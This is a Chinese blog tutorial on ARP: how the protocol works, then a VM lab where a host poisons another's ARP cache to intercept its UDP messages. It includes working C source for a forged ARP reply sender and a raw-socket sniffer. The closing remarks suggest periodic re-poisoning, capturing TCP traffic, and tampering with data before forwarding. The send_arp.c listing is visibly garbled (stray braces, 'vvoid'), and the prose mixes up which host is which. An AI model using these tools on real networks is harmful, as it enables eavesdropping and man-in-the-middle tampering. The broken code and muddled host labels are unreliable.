ARP 原理、攻击与欺骗

前言

前段时间在学网络协议的时候,知道了有 ARP 攻击这么个东西,但是当时对 Linux 环境下的 C 语言编程不是很了解,一直没有机会实践一下。终于在最近学习了网络编程之后,才算是入门了一点点 Linux C 语言编程。于是乎,经过两天的研究,终于亲自试验了一把 ARP 攻击,纸上得来终觉浅,绝知此事要躬行~不废话了,下面就详细介绍一下我在虚拟机上实施 ARP 攻击的过程。

什么是 ARP 协议?

在同一个局域网中, 一个主机要想给另外一个主机发送消息,必须知道目标主机的 MAC 地址,但是在 TCP/IP 协议中,网络层和传输层只关心目标主机的 IP 地址,换言之,数据链路层拿到的报文中只包含目标主机的 IP 地址,他必须根据目标主机的 IP 地址找到相应的 MAC 地址,然后将消息发送出去。这个时候就需要用到 ARP 协议了。

ARP(英文:Address Resolution Protocol),翻译成中文是「地址解析协议」,是根据 IP 地址获取 MAC 地址的网络传输协议。现在我们假设局域网中有三台主机 A、B、C,他们的 IP 地址和 MAC 地址分别如下表所示:

IP 地址

MAC 地址

A

192.168.133.1

00:50:56:C0:00:08

B

192.168.133.140

00:0C:29:B6:1E:5E

C

192.168.133.141

00:0C:29:80:44:D4

现在 A 想给 B 发一条消息,此时 A 只知道 B 的 IP 地址,不知道 B 的 MAC 地址,它就会向局域网中广播一条 ARP 请求消息,询问 B 的 MAC 地址。这相当于 A 在局域网中喊:谁知道 192.168.133.140 的 MAC 地址?知道的话告诉我一声。虽然局域网中其他主机都会收到这条消息,但是其他主机一看自己的 IP 地址不是 192.168.133.140,就不会搭理 A,只有 B 收到了这条消息后发现 A 是在询问自己的 MAC 地址,于是就会给 A 发送一条 ARP 应答消息,告诉 A 自己的 MAC 地址是 00:0C:29:B6:1E:5E。

ARP 请求(广播)
ARP 应答(单播)

A 收到 B 的 ARP 应答后,知道了 B 的 MAC 地址,就可以给 B 发送消息了。同时 A 会将 B 的MAC 地址保存下来,以便下次再给 B 发消息的时候使用,这个叫做 ARP 缓存,在 Windows 和 Linux 上都可以通过 arp -a 这条命令查看当前系统的 ARP 缓存。ARP 缓存有一定的有效期,不同的系统有效期不一样,过了有效期之后,当 A 需要再次给 B 发消息的时候,A 会重新广播 ARP 请求,来询问 B 的 MAC 地址。

ARP 攻击

以上讲的是正常的 ARP 请求-应答过程。如果大家都按照这个规则来,就会相安无事,可如果有人不按套路出牌,主动给 A 发送 ARP 应答呢?ARP 协议的漏洞就出现在这里,对于一个主机来说,不管他之前有没有发送过 ARP 请求,只要他收到了 ARP 应答,他就会把收到的 ARP 应答里面的 IP 地址和 MAC 地址的对应关系存到自己的 ARP 缓存里。

假设现在主机 C 向 A 发送了一个 ARP 应答,告诉 A,IP 地址是 192.168.133.140(B 的 IP 地址) 的主机的 MAC 地址是 00:0C:29:80:44:D4(C 的 MAC 地址),那么 A 给 B 发送数据的时候,报文里的 MAC 地址就会写成 C 的 MAC 地址,这样一来,本来应该是发到 B 那里的消息,结果发到了 C 这里。这就是 ARP 攻击的原理。下文中如无特殊说明,A 均指数据发送者,B 均指数据接收者,C 均指攻击者。

ARP 攻击

ARP 欺骗

实战

前期准备

环境搭建

我的操作系统是 Windows,虚拟机软件用的是 VMware15,上面装了两台操作系统是 CentOS6.5 的虚拟机,虚拟机的网络连接模式选择 NAT 模式。我现在用 Windows 操作系统模拟 A,两台虚拟机分别模拟 B 和 C。

ARP 报文格式

在写代码之前,我们得先知道 ARP 报文的格式。ARP 报文格式如下:

ARP 报文格式

该报文从左到右分别是:

以太网链路层

  • 目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。

  • 源以太网地址:发送方MAC地址。

  • 帧类型:以太类型,ARP为0x0806。

以太网报文数据

  • 硬件类型:如以太网(0x0001)、分组无线网。

  • 协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。

  • 硬件地址长度:每种硬件地址的字节长度,一般为 6(以太网)。

  • 协议地址长度:每种协议地址的字节长度,一般为 4(IPv4)。

  • 操作码:1 为 ARP 请求,2 为ARP 应答,3 为 RARP 请求,4 为 RARP 应答。

  • 源硬件地址:n 个字节,n 由硬件地址长度得到,一般为发送方 MAC 地址。

  • 源协议地址:m 个字节,m 由协议地址长度得到,一般为发送方 IP 地址。

  • 目标硬件地址:n 个字节,n 由硬件地址长度得到,一般为目标 MAC 地址。

  • 目标协议地址:m 个字节,m 由协议地址长度得到,一般为目标 IP 地址。

编写代码

首先是发送 ARP 应答的代码:

//Filename: send_arp.c
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <net/if.h>// struct ifreq
#include <sys/ioctl.h> // ioctl、SIOCGIFADDR
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <netpacket/packet.h> // struct sockaddr_l


#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char*);
void get_ip_addr(struct in_addr*, char*);
void get_hw_addr(char*, char*);

int main(int argc, char** argv)
{
    struct in_addr src_in_addr,targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr_ll sa;
    struct ifreq req;
    int sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0) {
        printf("Initial raw socket failed");
        return -1;
    }else
        printf("%d\n", sock);

    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op=htons(OP_ARP_REQUEST);

    get_hw_addr(pkt.targ_hw_addr,argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
    get_hw_addr(pkt.src_hw_addr,argv[2]);
    get_hw_addr(pkt.sndr_hw_addr,argv[2]);

    get_ip_addr(&src_in_addr,argv[1]);
    get_ip_addr(&targ_in_addr,argv[3]);

    memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

    bzero(pkt.padding,18);

    strncpy(req.ifr_name, DEFAULT_DEVICE, IFNAMSIZ); //指定网卡名称
    if(-1 == ioctl(sock, SIOCGIFINDEX, &req))  //获取网络接口
    {
        perror("ioctl");    
        close(sock); 
        exit(-1);
    }

    /*将网络接口赋值给原始套接字地址结构*/
    bzero(&sa, sizeof(sa));
    sa.sll_ifindex = req.ifr_ifindex;

    int res = sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sizeof(sa));
    printf("res: %d\n", res);
    if(res < 0){
        perror("sendto");
        exit(1);
    }
    exit(0);
}

void die(char* str){
    fprintf(stderr,"%s\n",str);
    exit(1);
}


}

vvoid get_ip_addr(struct in_addr* in_addr,char* str){

    struct hostent *hostp;

    in_addr->s_addr=inet_addr(str);
    if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
            bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
            fprintf(stderr,"send_arp: unknown host %s\n",str);
            exit(1);
        }
    }
    }
}

void get_hw_addr(char* buf,char* str){
    int i;
    char c,val;

    for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
    }
}

假设 A 是数据发送方,B 是数据接收方,C 是攻击者,C 想窃取 A 发送给 B 的数据,那么 C 运行这个程序需要 4 个参数,分别是:B 的 IP 地址,C 的 MAC 地址,A 的 IP 地址,A 的 MAC 地址。在上面那个例子中,就是:

./send_arp.out 192.168.133.140 00:0C:29:80:44:D4 192.168.133.1 00:50:56:C0:00:08

这个程序运行完之后,A 给 B 发送的数据就会发送到 C 这里。

测试

首先写一个 UDP 的客户端,运行在 A 上,负责发送数据:

#我的 Windows 系统上安装的是 Python3,所以这个 UDP 的客户端是用 Python3 写的

import socket

address = ('192.168.133.140', 31500)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = input()
s.sendto(msg.encode('utf-8'), address)
s.close()

然后写一个 UDP 的服务端,运行在 B 和 C 上,负责接收数据:

#!/usr/bin/python
#这个是在 CentOS 上运行的,CentOS默认安装了 Python2,没有安装 Python3(我懒得安装了),所以就用 Python2 写了这个 UDP 服务端

import socket

address = ('', 31500)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(address)

while True:
    data, addr = s.recvfrom(2048)
    if not data:
        print "client has exist"
        break
    print "received:", data, "from", addr
s.close()

在没有运行 send_arp 之前,A 的 ARP 缓存如下:

没有运行 send_arp 之前,A 的 ARP 缓存

A 发送给 B 的消息能够正常送达。

A 与 B 正常通信

在主机 B 上运行 send_arp 之后,A 的 ARP 缓存发生了变化:

在主机 B 上运行 send_arp 之后,A 的 ARP 缓存发生了变化

而且 A 发送给 B 的消息也无法送达了。

但是如果这个时候你在 C 上运行 UDP 服务端,你会发现 C 也收不到 A 发送的消息。

C 也收不到 A 发送的消息

这是怎么回事呢?其实这个时候 A 发送的消息是到达了 C 的,只不过这个消息在经过网络层的时候被丢弃了。要想把这件事解释清楚,就不得不提到 TCP/IP 的四层网络模型。大家都知道,TCP/IP 的四层网络模型自下而上包括:网络接口层、网际层、传输层、应用层,主机发送消息时,是从上往下发,每经过一层,都要在消息体前面加上当前层的报头信息。比如经过网际层时,要在消息体前面加上源 IP 地址和目标 IP 地址等信息,经过网络接口层时,要在消息体前面加上源 MAC 地址和目标 MAC 地址等信息。

主机接收消息时,正好反过来,是从下往上接收。网络接口层最先收到消息,然后他会验证消息头的目标 MAC 地址是否是本机的 MAC 地址,如果是,就将消息发送给上一层,也就是网际层。网际层收到消息后,会验证目标 IP 地址是否是本机的 IP 地址,如果是,就将消息发送给传输层,否则就丢弃。

TCPIP 四层网络模型

C 接受到的 A 发送过来的消息结构大概是这样的:

C 收到的消息格式

当这个消息经过网际层的时候,网际层发现这个消息的目标 IP 地址是 192.168.133.140,而当前主机的 IP 地址是 192.168.133.141,所以就把这个消息丢弃了。我们用 Python 写的 UDP 服务端是工作于应用层的程序,应用层的数据来自传输层,但是数据在网际层就被丢弃了,所以没有显示出来。

攻击者接收数据

既然应用层程序接收不到数据,我们就要用原始套接字直接接收网络接口层的数据,然后再从中解析有用的数据。下面是接收数据程序代码:

//Filename: recv.c
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ether.h>
 
#define IP_ADDR_LEN 4

unsigned char src_ip_addr[IP_ADDR_LEN] = {192, 168, 133, 1};
unsigned char dst_ip_addr[IP_ADDR_LEN] = {192, 168, 133, 140};

void print_ip_addr(char*);
int ipcmp(char*, char*);
int main(int argc,char *argv[])
{
    unsigned char buf[1024] = {0};
    //初始化原始套接字
    int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    printf("sock_fd: %d\n", sock_raw_fd); 
    if (sock_raw_fd < 0)
        return -1;
    //获取链路层的数据包
    while(1){
        int len = recvfrom(sock_raw_fd, buf, sizeof(buf), 0, NULL, NULL);
        if (len == -1)
            break;
        //如果第 24 个字节是 0x11,说明是 UDP 报文
        if (len >= 24 && buf[23] == 0x11){
            //获取报文中的源 IP 地址和目标 IP 地址。与我们要拦截的 IP 地址进行对比
            if (ipcmp(buf+26, src_ip_addr) == 0 && ipcmp(buf+30, dst_ip_addr) == 0){
                printf("Length = %d\n", len);
                printf("Received:\n");
                int i = 0;
                while (len > i){
                    printf("%x ", buf[i]);
                    if (i % 8 == 7) printf("  ");
                    if (i % 16 == 15) printf("\n");
                    i++;
                }
                printf("\n");
                printf("Source: ");
                print_ip_addr(buf+26);
                printf("Destination: ");
                print_ip_addr(buf+30);
                printf("UDP data: ");
                //打印消息体
                i = 42;
                while (len > i){
                    printf("%c", buf[i]);
                    i++;
                }
                printf("\n\n");
            }
        }
    }
    return 0;
}

void print_ip_addr(char* buf){
    int i = 0;
    for (i = 0; i < IP_ADDR_LEN; ++i) {
        printf("%d", buf[i] & 0x000000ff);
        if (i+1 != IP_ADDR_LEN){
            printf(".");
        } else {
            printf("\n");
        }
    }
}

int ipcmp(char* buf, char* ip_addr){
    int i = 0;
    for (i = 0; i < IP_ADDR_LEN; ++i) {
        if (buf[i] != ip_addr[i]){
            return -1;
        }
    }
    return 0;
}

下面是用 recv 接收数据的效果:

主机 C 接收数据

结语

为了方便,我在实验过程中做了几点简化:

  • ARP 缓存有效期问题

    我们在实验过程中,只发起了一次 ARP 攻击。在文章开头介绍 ARP 的时候我提到了 ARP 缓存有效期,事实上,ARP 攻击正是利用了 ARP 缓存。C 发起 ARP 攻击之后,A 的 ARP 缓存中存在着一条错误的「IP 地址 - MAC 地址」对应关系,但是当有效期过了之后,这个缓存就失效了,C 需要再次发起 ARP 攻击。如果你想达到长期欺骗的效果,应该改写一下 send_arp.c,让它每隔一定的时间就发送一次 ARP 应答,使目标主机更新自己的 ARP 缓存。

  • 数据处理方式

    1. 我在 recv.c 中选择了只接收源 IP 地址是 192.168.133.1,目标 IP 地址是 192.168.133.140 的 UDP 报文,理论上,在实施 ARP 攻击之后,A 发送给 B 的一切数据都会发送到 C 这里,无论是 UDP 还是 TCP,感兴趣的读者可以自行对 recv.c 进行更改,拦截其他数据。

    2. 在我写的 recv.c 中,拦截数据之后只是简单地打印出来,实际上这样做的话 B 会很快发现自己收不到 A 的数据了,从而发现隐藏的攻击者。根据不同的目的,我们在拦截数据之后,可以选择不同的处理方式,比如将数据再次转发给 C(甚至可以做一些篡改再转发)。

除了上述的几点简化,本次实验还有有待完善的地方。仔细观察你会发现,A 在局域网中其实是一个网关。在实验过程中,我尝试过把 C 的攻击对象改为 B,也就是让 B 认为 A 的 MAC 地址是 00:0C:29:80:44:D4,然后查看 B 的 ARP 缓存,发现攻击生效了。但是当 B 给 A 发送数据的时候,我发现 A 仍能接收到 B 发送的数据。这一点我始终没想明白是为什么,为什么攻击网关可以生效,而攻击局域网中的其他主机不能生效呢?希望知道真相的读者可以为我指点迷津,谢谢!

参考链接

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